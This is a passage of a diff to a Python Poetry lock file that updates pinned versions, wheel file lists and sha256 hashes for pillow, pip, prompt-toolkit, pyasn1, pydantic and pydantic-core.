"pillow-12.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:4ceb838d4bd9dab43e06c363cab2eebf63846d6a4aeaea283bbdfd8f1a8ed58b"}, - {file = "pillow-12.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:7b03048319bfc6170e93bd60728a1af51d3dd7704935feb228c4d4faab35d334"}, - {file = "pillow-12.1.1-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:600fd103672b925fe62ed08e0d874ea34d692474df6f4bf7ebe148b30f89f39f"}, - {file = "pillow-12.1.1-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:665e1b916b043cef294bc54d47bf02d87e13f769bc4bc5fa225a24b3a6c5aca9"}, - {file = "pillow-12.1.1-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:495c302af3aad1ca67420ddd5c7bd480c8867ad173528767d906428057a11f0e"}, - {file = "pillow-12.1.1-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8fd420ef0c52c88b5a035a0886f367748c72147b2b8f384c9d12656678dfdfa9"}, - {file = "pillow-12.1.1-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f975aa7ef9684ce7e2c18a3aa8f8e2106ce1e46b94ab713d156b2898811651d3"}, - {file = "pillow-12.1.1-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8089c852a56c2966cf18835db62d9b34fef7ba74c726ad943928d494fa7f4735"}, - {file = "pillow-12.1.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:cb9bb857b2d057c6dfc72ac5f3b44836924ba15721882ef103cecb40d002d80e"}, - {file = "pillow-12.1.1.tar.gz", hash = "sha256:9ad8fa5937ab05218e2b6a4cff30295ad35afd2f83ac592e68c0d871bb0fdbc4"}, + {file = "pillow-12.3.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a"}, + {file = "pillow-12.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7"}, + {file = "pillow-12.3.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f"}, + {file = "pillow-12.3.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f0606c8bf2cdefea14a43530f7657cbbb7ecf1c4222512492ef4a4434a9501ec"}, + {file = "pillow-12.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468"}, + {file = "pillow-12.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed"}, + {file = "pillow-12.3.0-cp310-cp310-win32.whl", hash = "sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1"}, + {file = "pillow-12.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb"}, + {file = "pillow-12.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f"}, + {file = "pillow-12.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756"}, + {file = "pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6"}, + {file = "pillow-12.3.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd"}, + {file = "pillow-12.3.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:23d27a3e0307ec2244cc51e7287b919aa68d097504ebe19df4e76a98a3eea5bd"}, + {file = "pillow-12.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f3271df27d9c"}, + {file = "pillow-12.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e96ef72b5"}, + {file = "pillow-12.3.0-cp311-cp311-win32.whl", hash = "sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b"}, + {file = "pillow-12.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a"}, + {file = "pillow-12.3.0-cp311-cp311-win_arm64.whl", hash = "sha256:ebaea975e03d3141d9d3a507df75c9b3ec90fa9d2ffd07567b3a978d9d790b26"}, + {file = "pillow-12.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b5315d5e965"}, + {file = "pillow-12.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ffd0c5368496f41b0944be820fcb7a838aa6e623d250b01acf2643939c3f99d7"}, + {file = "pillow-12.3.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d9c7f76c0673154f044e9d78c8655fb4213f6ca31a836df48b40fe5d187717b9"}, + {file = "pillow-12.3.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91"}, + {file = "pillow-12.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e491916b378fba47242221bb9ead245211b70d504f495d105d17b14a24b4907c"}, + {file = "pillow-12.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df"}, + {file = "pillow-12.3.0-cp312-cp312-win32.whl", hash = "sha256:dbce0b29841537a2fa4a214c2bbf14de3587c9680caa9b4e217568472490b28f"}, + {file = "pillow-12.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09"}, + {file = "pillow-12.3.0-cp312-cp312-win_arm64.whl", hash = "sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510"}, + {file = "pillow-12.3.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc5596d12e25ac89"}, + {file = "pillow-12.3.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d932288f02cb94518ee3ace"}, + {file = "pillow-12.3.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95ca9505a7bba9ef849ec"}, + {file = "pillow-12.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7eb15a66"}, + {file = "pillow-12.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d69141514cc30b774ceea5e3ed3a6635c8d8a96edf664689b890f4089111fb35"}, + {file = "pillow-12.3.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f7401aebd7f581d7f83a439d87d474999317ee099218e5ad25d125290990ba65"}, + {file = "pillow-12.3.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0847a763afefb695bc912d7c131e7e0632d4edc1d8698f58ddabec8e46b8b6d3"}, + {file = "pillow-12.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566d29ef718a"}, + {file = "pillow-12.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f19e62b5e"}, + {file = "pillow-12.3.0-cp313-cp313-win32.whl", hash = "sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f"}, + {file = "pillow-12.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8"}, + {file = "pillow-12.3.0-cp313-cp313-win_arm64.whl", hash = "sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b"}, + {file = "pillow-12.3.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:9cf95fe4d0f84c82d282745d9bb08ad9f926efa00be4697e767b814ce40d4330"}, + {file = "pillow-12.3.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:8728f216dcdb6e6d555cf971cb34076139ad74b31fc2c14da4fafc741c5f6217"}, + {file = "pillow-12.3.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:a45650e8ce7fafffd731db8550230db6b0d306d181a90b67d3e6bca2f1990930"}, + {file = "pillow-12.3.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:ba54cfebe86920a559a7c4d6b9050791c20513650a1952ebe3368c7dc70306f8"}, + {file = "pillow-12.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e158cb00350dc278f3b91551101aa7d12415a66ebf2c91d8d5ac14e56ddd3ad0"}, + {file = "pillow-12.3.0-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e9aeb04d6aef139de265b29683e119b638208f88cf73cdd1658aa07221165321"}, + {file = "pillow-12.3.0-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:251bf95b67017e27b13d82f5b326234ca62d70f9cf4c2b9032de2358a3b12c7b"}, + {file = "pillow-12.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:fe3cca2e4e8a592be0f269a1ca4835c25199d9f3ce815c8491048f785b0a0198"}, + {file = "pillow-12.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:23aceaa007d6172b02c277f0cd359c79492bbb14f7072b4ede9fbcaf20648130"}, + {file = "pillow-12.3.0-cp314-cp314-win32.whl", hash = "sha256:af8d94b0db561cf68b88a267c5c44b49e134f525d0dc2cb7ed413a66bc23559a"}, + {file = "pillow-12.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:fdafc9cce40277e0f7a0feabce0ee50dd2fa1800f3b38015e51296b5e814048d"}, + {file = "pillow-12.3.0-cp314-cp314-win_arm64.whl", hash = "sha256:e91206ee562682b51b98ef4b26a6ef48fd84e15fd4c4bc5ec768eb641d206838"}, + {file = "pillow-12.3.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:164b31cd1a0490ab6efae01aa5df49da7061be0af1b30e035b6e9a1bfe34ee6e"}, + {file = "pillow-12.3.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5afb51d599ea772b8365ae807ae557f18bccfe46ab261fd1c2a9ed700fc6eb17"}, + {file = "pillow-12.3.0-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3edce1d53195db527e0191f84b71d02022de0540bf43a16ed734ed7537b07385"}, + {file = "pillow-12.3.0-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bf16ba1b4d0b6b7c8e534936632270cf70eb00dbe09005bc345b2677b726855c"}, + {file = "pillow-12.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:24870b09b224f7ae3c39ed07d10e819d06f8720bc551847b1d623832b5b0e28d"}, + {file = "pillow-12.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:30f2aa603c41533cc25c05acd0da21636e84a315768feb631c937177db558931"}, + {file = "pillow-12.3.0-cp314-cp314t-win32.whl", hash = "sha256:4b0a7fe987b14c31ebda6083f74f22b561fd3739bc0ac51e019622e3d72668c7"}, + {file = "pillow-12.3.0-cp314-cp314t-win_amd64.whl", hash = "sha256:962864dc93511324d51ddbb5b9f8731bf71675b93ca612a07441896f4688fb8c"}, + {file = "pillow-12.3.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0740a512dc522224c77d9aa5a8d70d8b7d73fb91f2c21125d8d025d3b8990e45"}, + {file = "pillow-12.3.0-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:0feb2e9d6ad6c9e3c06effe9d00f3f1e618a6643273576b016f591e9315a7139"}, + {file = "pillow-12.3.0-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:9e881fca225083806662a5c43d627d215f258ff43c890f831966c7d7ba9c7402"}, + {file = "pillow-12.3.0-cp315-cp315-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:4998562bf62a445225f22e07c896bb04b35b1b1f2eb6d760584c9c51d7a5f78c"}, + {file = "pillow-12.3.0-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:dc624f6bc473dacdf7ef7eb8678d0d08edf15cd94fad6ae5c7d6cc67a4e4902f"}, + {file = "pillow-12.3.0-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:71d6097b330eea8fd15097780c8e89cb1a8ce7838669f48c5bacd6f663dd4701"}, + {file = "pillow-12.3.0-cp315-cp315-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:28ce87c5ab450a9dd970b52e5aca5fe63ed432d18a2eaddd1979a00a1ba24ace"}, + {file = "pillow-12.3.0-cp315-cp315-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6b02afb9b97f65fbca5f31db6a2a3ba21aa93030225f150fa3f249717e938fb4"}, + {file = "pillow-12.3.0-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:1182d52bc2d5e5d7d0949503aa7e36d12f42205dc287e4883f407b1988820d39"}, + {file = "pillow-12.3.0-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:e795b7eb908249c4e43c7c99fac7c2c75dab0c43566e37db472a355f63693d71"}, + {file = "pillow-12.3.0-cp315-cp315-win32.whl", hash = "sha256:57b3d78c95ba9059768b10e28b813002261d3f3dfc55cc48b0c988f625175827"}, + {file = "pillow-12.3.0-cp315-cp315-win_amd64.whl", hash = "sha256:fa4ecea169a355be7a3ade2c783e2ed12f0e40d2c5621cda8b3297faf7fbb9f5"}, + {file = "pillow-12.3.0-cp315-cp315-win_arm64.whl", hash = "sha256:877c3f311ff35410f690861c4409e7ccbf0cd2f878e50628a28e5a0bb689e658"}, + {file = "pillow-12.3.0-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:e9871b1ffbfa9656b60aeee92ed5136a5742696006fa322b29ea3d8da0ecc9cf"}, + {file = "pillow-12.3.0-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:53aa02d20d10c3d814d536aa4e5ac9b84ca0ff5a88377963b085ad6822f93e64"}, + {file = "pillow-12.3.0-cp315-cp315t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:446c34dcc4324b084a53b705127dc15717b22c5e140ae0a3c38349d4efec071e"}, + {file = "pillow-12.3.0-cp315-cp315t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cf1845d02ad822a369a49f2bb9345b1614744267682e7a03527dc3bf6eea1777"}, + {file = "pillow-12.3.0-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:186941b6aef820ad110fb01fb06eb925374dc3a21b17e37ec9a53b250c6fe2d1"}, + {file = "pillow-12.3.0-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:f13c32a3abd6079a66d9526e18dad9b6d280384d49d7c54040cd57b6424041d9"}, + {file = "pillow-12.3.0-cp315-cp315t-win32.whl", hash = "sha256:1657923d2d45afb66526e5b933e5b3052e6bdea196c90d3abb2424e18c77dae8"}, + {file = "pillow-12.3.0-cp315-cp315t-win_amd64.whl", hash = "sha256:8cd2f7bdda092d99c9fc2fb7391354f306d01443d22785d0cbfafa2e2c8bb418"}, + {file = "pillow-12.3.0-cp315-cp315t-win_arm64.whl", hash = "sha256:06ff022112bc9cbf83b60f8e028d94ad87b60621706487e65f673de61610ab59"}, + {file = "pillow-12.3.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e46f93e92725468"}, + {file = "pillow-12.3.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c87da7781a1e94"}, + {file = "pillow-12.3.0-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbd139c8447d25dd750ab79ee274cc5e1fe80fc56340ab10b18a195e1b6eca3e"}, + {file = "pillow-12.3.0-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e7e480451b9fa137494bccd3a7d69adbe8ac65a87d97be61e11f1b1050a5bac3"}, + {file = "pillow-12.3.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4711a"}, + {file = "pillow-12.3.0.tar.gz", hash = "sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce"}, ] [package.extras] @@ -1853,19 +1811,19 @@ docs = ["furo", "olefile", "sphinx (>=8.2)", "sphinx-autobuild", "sphinx-copybut fpx = ["olefile"] mic = ["olefile"] test-arrow = ["arro3-compute", "arro3-core", "nanoarrow", "pyarrow"] -tests = ["check-manifest", "coverage (>=7.4.2)", "defusedxml", "markdown2", "olefile", "packaging", "pyroma (>=5)", "pytest", "pytest-cov", "pytest-timeout", "pytest-xdist", "trove-classifiers (>=2024.10.12)"] +tests = ["coverage (>=7.4.2)", "defusedxml", "markdown2", "olefile", "packaging", "pytest", "pytest-cov", "pytest-timeout", "pytest-xdist", "setuptools", "trove-classifiers (>=2024.10.12)"] xmp = ["defusedxml"] [[package]] name = "pip" -version = "26.0.1" +version = "26.2.1" description = "The PyPA recommended tool for installing Python packages." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["dev"] files = [ - {file = "pip-26.0.1-py3-none-any.whl", hash = "sha256:bdb1b08f4274833d62c1aa29e20907365a2ceb950410df15fc9521bad440122b"}, - {file = "pip-26.0.1.tar.gz", hash = "sha256:c4037d8a277c89b320abe636d59f91e6d0922d08a05b60e85e53b296613346d8"}, + {file = "pip-26.2.1-py3-none-any.whl", hash = "sha256:71138adf1f4ca900cdb7d289c21b7494329f2332b6d85f0e1c42108c0384ed3e"}, + {file = "pip-26.2.1.tar.gz", hash = "sha256:f6ad667e89a1fe78046c8f13232b247200f5258d7828f3f7883d660878e0813f"}, ] [[package]] @@ -1886,29 +1844,29 @@ testing = ["coverage", "pytest", "pytest-benchmark"] [[package]] name = "prompt-toolkit" -version = "3.0.52" +version = "3.0.53" description = "Library for building powerful interactive command lines in Python" optional = false -python-versions = ">=3.8" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "prompt_toolkit-3.0.52-py3-none-any.whl", hash = "sha256:9aac639a3bbd33284347de5ad8d68ecc044b91a762dc39b7c21095fcd6a19955"}, - {file = "prompt_toolkit-3.0.52.tar.gz", hash = "sha256:28cde192929c8e7321de85de1ddbe736f1375148b02f2e17edd840042b1be855"}, + {file = "prompt_toolkit-3.0.53-py3-none-any.whl", hash = "sha256:01c0891d7f9237d5e339f7d3e42cdae80b7534abb1c7c0e3352efba6231492f2"}, + {file = "prompt_toolkit-3.0.53.tar.gz", hash = "sha256:9ec8a0ad96d5c56148b3f914aa79c1564c3fde5d2e6b876e7bc327e353cf8fa6"}, ] [package.dependencies] -wcwidth = "*" +wcwidth = ">=0.1.4" [[package]] name = "pyasn1" -version = "0.6.3" +version = "0.6.4" description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)" optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "pyasn1-0.6.3-py3-none-any.whl", hash = "sha256:a80184d120f0864a52a073acc6fc642847d0be408e7c7252f31390c0f4eadcde"}, - {file = "pyasn1-0.6.3.tar.gz", hash = "sha256:697a8ecd6d98891189184ca1fa05d1bb00e2f84b5977c481452050549c8a72cf"}, + {file = "pyasn1-0.6.4-py3-none-any.whl", hash = "sha256:deda9277cfd454080ec40b207fb6df82206a3a2688735233cdcd8d3d565f088b"}, + {file = "pyasn1-0.6.4.tar.gz", hash = "sha256:9c447d8431c947fe4c8febc4ed9e760bc29011a5b01e5c74b67025bd9fb8ce81"}, ] [[package]] @@ -2043,21 +2001,21 @@ files = [ [[package]] name = "pydantic" -version = "2.11.10" +version = "2.13.4" description = "Data validation using Python type hints" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "pydantic-2.11.10-py3-none-any.whl", hash = "sha256:802a655709d49bd004c31e865ef37da30b540786a46bfce02333e0e24b5fe29a"}, - {file = "pydantic-2.11.10.tar.gz", hash = "sha256:dc280f0982fbda6c38fada4e476dc0a4f3aeaf9c6ad4c28df68a666ec3c61423"}, + {file = "pydantic-2.13.4-py3-none-any.whl", hash = "sha256:45a282cde31d808236fd7ea9d919b128653c8b38b393d1c4ab335c62924d9aba"}, + {file = "pydantic-2.13.4.tar.gz", hash = "sha256:c40756b57adaa8b1efeeced5c196f3f3b7c435f90e84ea7f443901bec8099ef6"}, ] [package.dependencies] annotated-types = ">=0.6.0" -pydantic-core = "2.33.2" -typing-extensions = ">=4.12.2" -typing-inspection = ">=0.4.0" +pydantic-core = "2.46.4" +typing-extensions = ">=4.14.1" +typing-inspection = ">=0.4.2" [package.extras] email = ["email-validator (>=2.0.0)"] @@ -2065,115 +2023,136 @@ timezone = ["tzdata ; python_version >= \"3.9\" and platform_system == \"Windows [[package]] name = "pydantic-core" -version = "2.33.2" +version = "2.46.4" description = "Core functionality for Pydantic validation and serialization" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "pydantic_core-2.33.2-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:2b3d326aaef0c0399d9afffeb6367d5e26ddc24d351dbc9c636840ac355dc5d8"}, - {file = "pydantic_core-2.33.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0e5b2671f05ba48b94cb90ce55d8bdcaaedb8ba00cc5359f6810fc918713983d"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0069c9acc3f3981b9ff4cdfaf088e98d83440a4c7ea1bc07460af3d4dc22e72d"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d53b22f2032c42eaaf025f7c40c2e3b94568ae077a606f006d206a463bc69572"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0405262705a123b7ce9f0b92f123334d67b70fd1f20a9372b907ce1080c7ba02"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4b25d91e288e2c4e0662b8038a28c6a07eaac3e196cfc4ff69de4ea3db992a1b"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6bdfe4b3789761f3bcb4b1ddf33355a71079858958e3a552f16d5af19768fef2"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:efec8db3266b76ef9607c2c4c419bdb06bf335ae433b80816089ea7585816f6a"}, - {file = "pydantic_core-2.33.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:031c57d67ca86902726e0fae2214ce6770bbe2f710dc33063187a68744a5ecac"}, - {file = "pydantic_core-2.33.2-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:f8de619080e944347f5f20de29a975c2d815d9ddd8be9b9b7268e2e3ef68605a"}, - {file = "pydantic_core-2.33.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:73662edf539e72a9440129f231ed3757faab89630d291b784ca99237fb94db2b"}, - {file = "pydantic_core-2.33.2-cp310-cp310-win32.whl", hash = "sha256:0a39979dcbb70998b0e505fb1556a1d550a0781463ce84ebf915ba293ccb7e22"}, - {file = "pydantic_core-2.33.2-cp310-cp310-win_amd64.whl", hash = "sha256:b0379a2b24882fef529ec3b4987cb5d003b9cda32256024e6fe1586ac45fc640"}, - {file = "pydantic_core-2.33.2-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:4c5b0a576fb381edd6d27f0a85915c6daf2f8138dc5c267a57c08a62900758c7"}, - {file = "pydantic_core-2.33.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e799c050df38a639db758c617ec771fd8fb7a5f8eaaa4b27b101f266b216a246"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dc46a01bf8d62f227d5ecee74178ffc448ff4e5197c756331f71efcc66dc980f"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a144d4f717285c6d9234a66778059f33a89096dfb9b39117663fd8413d582dcc"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:73cf6373c21bc80b2e0dc88444f41ae60b2f070ed02095754eb5a01df12256de"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3dc625f4aa79713512d1976fe9f0bc99f706a9dee21dfd1810b4bbbf228d0e8a"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:881b21b5549499972441da4758d662aeea93f1923f953e9cbaff14b8b9565aef"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:bdc25f3681f7b78572699569514036afe3c243bc3059d3942624e936ec93450e"}, - {file = "pydantic_core-2.33.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:fe5b32187cbc0c862ee201ad66c30cf218e5ed468ec8dc1cf49dec66e160cc4d"}, - {file = "pydantic_core-2.33.2-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:bc7aee6f634a6f4a95676fcb5d6559a2c2a390330098dba5e5a5f28a2e4ada30"}, - {file = "pydantic_core-2.33.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:235f45e5dbcccf6bd99f9f472858849f73d11120d76ea8707115415f8e5ebebf"}, - {file = "pydantic_core-2.33.2-cp311-cp311-win32.whl", hash = "sha256:6368900c2d3ef09b69cb0b913f9f8263b03786e5b2a387706c5afb66800efd51"}, - {file = "pydantic_core-2.33.2-cp311-cp311-win_amd64.whl", hash = "sha256:1e063337ef9e9820c77acc768546325ebe04ee38b08703244c1309cccc4f1bab"}, - {file = "pydantic_core-2.33.2-cp311-cp311-win_arm64.whl", hash = "sha256:6b99022f1d19bc32a4c2a0d544fc9a76e3be90f0b3f4af413f87d38749300e65"}, - {file = "pydantic_core-2.33.2-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:a7ec89dc587667f22b6a0b6579c249fca9026ce7c333fc142ba42411fa243cdc"}, - {file = "pydantic_core-2.33.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:3c6db6e52c6d70aa0d00d45cdb9b40f0433b96380071ea80b09277dba021ddf7"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4e61206137cbc65e6d5256e1166f88331d3b6238e082d9f74613b9b765fb9025"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:eb8c529b2819c37140eb51b914153063d27ed88e3bdc31b71198a198e921e011"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c52b02ad8b4e2cf14ca7b3d918f3eb0ee91e63b3167c32591e57c4317e134f8f"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:96081f1605125ba0855dfda83f6f3df5ec90c61195421ba72223de35ccfb2f88"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f57a69461af2a5fa6e6bbd7a5f60d3b7e6cebb687f55106933188e79ad155c1"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = 